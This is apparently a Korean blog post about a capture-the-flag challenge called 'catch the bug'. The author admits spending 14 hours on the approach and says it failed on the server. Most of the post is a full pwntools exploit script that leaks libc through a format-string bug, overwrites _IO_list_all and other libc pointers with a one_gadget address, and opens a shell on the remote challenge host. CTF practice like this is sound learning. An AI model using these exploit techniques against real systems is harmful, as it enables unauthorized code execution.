catch the bug 풀이를 들었다...

@markdown

일단 이 문제는 내가 14시간동안 삽질한 문제.. 난 내 풀이 방식이 정석이라고 믿고 있었다.

엄청 어렵게 생각하고 있었다 진짜 하... 사실 나는 ret 될 때 io_list_all을 참조해서 무슨 함수였지.. 기억도안난다. 

아래는 내가 엄청 삽질한 코드이다. ( 써버에서는 안됬던 )

```python

from pwn import *

# p = process("./bug",env={"LD_PRELOAD":"./libc_2.23.so"})

p = remote("catchthebug.eatpwnnosleep.com",55555)

def find_bug(name,cnt):

print p.sendlineafter(">>","1")

if p.recv(1024) in "Name the bug":

p.sendlineafter(">>",str(name))

cnt += 1

print "success!"

else:

print "nope!!"

return cnt

def report(title,subtitle,body,tag,passwd):

print p.sendlineafter(">>","3")

print p.sendlineafter("title",str(title))

print p.sendlineafter("subtitle",str(subtitle))

print p.sendlineafter("body",str(body))

print p.sendafter("tag",str(tag))

print p.sendlineafter("password",str(passwd))

def show():

print p.sendlineafter(">>","2")

cnt = 0

for i in range(0,5):

if(cnt == 3):

break;

cnt = find_bug("%lx",cnt)

# print cnt

show()

print p.recvuntil("=========================\n")

leak = int(p.recv(14),16)

# libc_base = leak - 0x3c56a3 #local

libc_base = leak - 0x3DB7A3 # server

# io_list_all = libc_base + 0x3C5520 #local

io_list_all = libc_base + 0x3DB620 # server 

# one = libc_base + 0xF1147 #local

one = libc_base + 0xD9763 #server

stdout_ptr = libc_base + 0x3C3F50

stdout = libc_base + 0x3C5708

buffer_s = libc_base + 0x3c4b20

memalign_ptr = libc_base + 0x3C3EE0

memalign_hook = libc_base + 0x3C4B00

stdin = libc_base + 0x3c48e0

# # local

# argp_program_version_ptr = libc_base + 0x3c3ed0 #dq offset argp_program_version

# error_print_progname = libc_base + 0x3C9508 

# server 

argp_program_version_ptr = libc_base + 0x3D9E98

error_print_progname = libc_base + 0x3DF620

title = "A"*63

subtitle = "A"*127

tag_ptr_overwrite = p64(io_list_all-71)

tag_overwrite_data = p64(argp_program_version_ptr)# rbp

passwd_ptr_overwrite = p64(error_print_progname)

passwd_overwrite_data = p64(one)

body = "P"*54 

body += tag_ptr_overwrite #tag 

body += passwd_ptr_overwrite

tag = tag_overwrite_data # rax + 0x38 tag 

passwd = passwd_overwrite_data

report(title,subtitle,body,tag,passwd)

print hex(leak)

print hex(libc_base)

# print hex(free_hook)

# print hex(stdout)

p.interactive()

```